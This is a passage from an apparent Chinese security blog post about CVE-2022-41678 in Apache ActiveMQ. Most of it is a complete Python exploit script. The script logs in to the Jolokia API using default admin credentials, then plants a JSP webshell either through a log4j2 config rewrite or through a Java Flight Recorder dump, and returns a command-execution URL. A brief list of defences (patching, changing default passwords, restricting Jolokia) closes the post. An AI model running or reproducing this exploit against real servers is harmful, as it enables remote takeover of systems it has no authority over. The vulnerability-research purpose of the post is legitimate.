      <condition name="compiler-compilation-threshold" true="100 ms">
        <test name="compiler-level" operator="equal" value="detailed"/>
      </condition>
      <condition name="compiler-compilation-threshold" true="0 ms">
        <test name="compiler-level" operator="equal" value="all"/>
      </condition>
      <condition name="compiler-phase-threshold" true="60 s">
        <test name="compiler-level" operator="equal" value="normal"/>
      </condition>
      <condition name="compiler-phase-threshold" true="10 s">
        <test name="compiler-level" operator="equal" value="detailed"/>
      </condition>
      <condition name="compiler-phase-threshold" true="0 s">
        <test name="compiler-level" operator="equal" value="all"/>
      </condition>
      <selection name="method-sampling-interval" default="normal" label="Method Sampling">
        <option label="Off" name="off">off</option>
        <option label="Normal" name="normal">normal</option>
        <option label="High" name="high">high</option>
        <option label="Ludicrous (High Overhead)" name="ludicrous">ludicrous</option>
      </selection>
      
      <condition name="method-sampling-java-interval" true="999 d">
        <test name="method-sampling-interval" operator="equal" value="off"/>
      </condition>
      <condition name="method-sampling-java-interval" true="20 ms">
        <test name="method-sampling-interval" operator="equal" value="normal"/>
      </condition>
      <condition name="method-sampling-java-interval" true="10 ms">
        <test name="method-sampling-interval" operator="equal" value="high"/>
      </condition>
      <condition name="method-sampling-java-interval" true="1 ms">
        <test name="method-sampling-interval" operator="equal" value="ludicrous"/>
      </condition>
      
      <condition name="method-sampling-native-interval" true="999 d">
        <test name="method-sampling-interval" operator="equal" value="off"/>
      </condition>
      <condition name="method-sampling-native-interval" true="20 ms">
        <or>
          <test name="method-sampling-interval" operator="equal" value="normal"/>
          <test name="method-sampling-interval" operator="equal" value="high"/>
          <test name="method-sampling-interval" operator="equal" value="ludicrous"/>
        </or>
      </condition>  
      <condition name="method-sampling-enabled" true="false" false="true">
        <test name="method-sampling-interval" operator="equal" value="off"/>
      </condition>
      <selection name="thread-dump-interval" default="normal" label="Thread Dump">
        <option label="Off" name="off">999 d</option>
        <option label="At least Once" name="normal">everyChunk</option>
        <option label="Every 60 s" name="everyMinute">60 s</option>
        <option label="Every 10 s" name="everyTenSecond">10 s</option>
        <option label="Every 1 s" name="everySecond">1 s</option>
      </selection>
      <condition name="thread-dump-enabled" true="false" false="true">
        <test name="thread-dump-interval" operator="equal" value="999 d"/>
      </condition>
      <selection name="exception-level" default="errors" label="Exceptions">
        <option label="Off" name="off">off</option>
        <option label="Errors Only" name="errors">errors</option>
        <option label="All Exceptions, including Errors" name="all">all</option>
      </selection>
      <condition name="enable-errors" true="true" false="false">
        <or>
          <test name="exception-level" operator="equal" value="errors"/>
          <test name="exception-level" operator="equal" value="all"/>
        </or>
      </condition>
      <condition name="enable-exceptions" true="true" false="false">
        <test name="exception-level" operator="equal" value="all"/>
      </condition>
      <selection name="memory-leak-detection" default="minimal" label="Memory Leak Detection">
        <option label="Off" name="off">off</option>
        <option label="Object Types" name="minimal">minimal</option>
        <option label="Object Types + Allocation Stack Traces" name="medium">medium</option>
        <option label="Object Types + Allocation Stack Traces + Path to GC Root" name="full">full</option>
      </selection>
      <condition name="memory-leak-detection-enabled" true="false" false="true">
        <test name="memory-leak-detection" operator="equal" value="off"/>
      </condition>
      <condition name="memory-leak-detection-stack-trace" true="true" false="false">
        <or>
          <test name="memory-leak-detection" operator="equal" value="medium"/>
          <test name="memory-leak-detection" operator="equal" value="full"/>
        </or>
      </condition>
      <condition name="memory-leak-detection-cutoff" true="1 h" false="0 ns">
        <test name="memory-leak-detection" operator="equal" value="full"/>
      </condition>
      <text name="synchronization-threshold" label="Synchronization Threshold" contentType="timespan" minimum="0 s">20 ms</text>
      <text name="file-io-threshold" label="File I/O Threshold" contentType="timespan" minimum="0 s">20 ms</text>
      <text name="socket-io-threshold" label="Socket I/O Threshold" contentType="timespan" minimum="0 s">20 ms</text>
      <flag name="class-loading-enabled" label="Class Loading">false</flag>
    </control>
</configuration>
'''
 
 
class Application(object):
    def __init__(self, url, username, password):
        self.url = url
        self.session = requests.session()
        self.session.headers = {
            'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) '
                          'Chrome/117.0.5938.132 Safari/537.36',
            'Origin': url,
        }
        self.session.auth = (username, password)
 
    def request(self, method: str, path: str, *args, **kwargs):
        data = self.session.request(method, urljoin(self.url, path), *args, **kwargs).json()
        assert data['status'] == 200
        return data
 
    def find_mbean_name(self):
        data = self.request('GET', '/api/jolokia/list')
        for name, val in data['value'].items():
            if name == 'org.apache.logging.log4j2':
                for type_name in val.keys():
                    if type_name.startswith('type='):
                        return f'{name}:{type_name}'
 
        for name, val in data['value'].items():
            if name == 'jdk.management.jfr':
                for type_name in val.keys():
                    if type_name == 'type=FlightRecorder':
                        return f'{name}:{type_name}'
 
        raise Exception('No mbean whose name is org.apache.logging.log4j2 or jdk.management.jfr')
 
    def modify_config(self, mbean: str, template: str):
        self.request('POST', '/api/jolokia/', json=dict(
            type='exec',
            mbean=mbean,
            operation='setConfigText',
            arguments=[template, 'utf-8']
        ))
 
    def exploit_log4j(self, mbean: str):
        self.modify_config(mbean, evil_template)
        logging.info('update log config')
        self.request('GET', '/api/jolokia/version', headers={
            'User-Agent': f'Mozilla ||| {webshell} |||'
        })
        logging.info('write webshell to %s', urljoin(self.url, '/admin/shell.jsp?cmd=id'))
        self.modify_config(mbean, original_template)
        logging.info('restore log config')
 
    def exploit_jfr(self):
        record_id = self.create_record()
        logging.info('create flight record, id = %d', record_id)
        self.request('POST', '/api/jolokia/', json=dict(
            type='exec',
            mbean='jdk.management.jfr:type=FlightRecorder',
            operation='setConfiguration',
            arguments=[record_id, record_template]
        ))
        logging.info('update configuration for record %d', record_id)
        self.request('POST', '/api/jolokia/', json=dict(
            type='exec',
            mbean='jdk.management.jfr:type=FlightRecorder',
            operation='startRecording',
            arguments=[record_id]
        ))
        logging.info('start record')
        time.sleep(1)
        self.request('POST', '/api/jolokia/', json=dict(
            type='exec',
            mbean='jdk.management.jfr:type=FlightRecorder',
            operation='stopRecording',
            arguments=[record_id]
        ))
        logging.info('stop record')
        self.request('POST', '/api/jolokia/', json=dict(
            type='exec',
            mbean='jdk.management.jfr:type=FlightRecorder',
            operation='copyTo',
            arguments=[record_id, 'webapps/admin/shelljfr.jsp']
        ))
        logging.info('write webshell to %s', urljoin(self.url, '/admin/shelljfr.jsp?cmd=id'))
 
    def exploit(self, action='auto'):
        mbean = self.find_mbean_name()
        if action == 'log4j':
            logging.info('choice MBean org.apache.logging.log4j2 manually')
            self.exploit_log4j(mbean)
        elif action == 'jfr':
            logging.info('choice MBean jdk.management.jfr:type=FlightRecorder manually')
            self.exploit_jfr()
        elif mbean.startswith('org.apache.logging.log4j2'):
            logging.info('choice MBean %r automatically', mbean)
            self.exploit_log4j(mbean)
        else:
            logging.info('choice MBean %r automatically', mbean)
            self.exploit_jfr()
 
    def create_record(self):
        data = self.request('POST', '/api/jolokia/', json=dict(
            type='exec',
            mbean='jdk.management.jfr:type=FlightRecorder',
            operation='newRecording',
            arguments=[]
        ))
        return data['value']
 
 
def main():
    parser = argparse.ArgumentParser(description='Attack Apache ActiveMQ')
    parser.add_argument('--username', '-u', type=str, default='admin', help='Username for the ActiveMQ console')
    parser.add_argument('--password', '-p', type=str, default='admin', help='Password for the ActiveMQ console')
    parser.add_argument('--exploit', '-e', type=str, default='auto', choices=['auto', 'log4j', 'jfr'], help='Exploit')
    parser.add_argument('url', type=str)
    args = parser.parse_args()
    app = Application(args.url, args.username, args.password)
    app.exploit(args.exploit)
 
 
if __name__ == '__main__':
    main()

八、防御措施

为了防范CVE-2022-41678漏洞,建议采取以下防御措施:

  1. 升级ActiveMQ版本:尽快将ActiveMQ升级到官方已经发布的安全补丁版本,以修复该漏洞。

  2. 修改默认口令:修改ActiveMQ后台管理界面的默认口令,避免使用弱密码。

  3. 限制访问:若非业务需要,限制对Jolokia接口的访问,仅在必要时启用,并配置防火墙规则以限制对ActiveMQ服务器的访问。限制Jolokia授权后的操作可参考:https://github.com/apache/activemq/pull/958/files

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值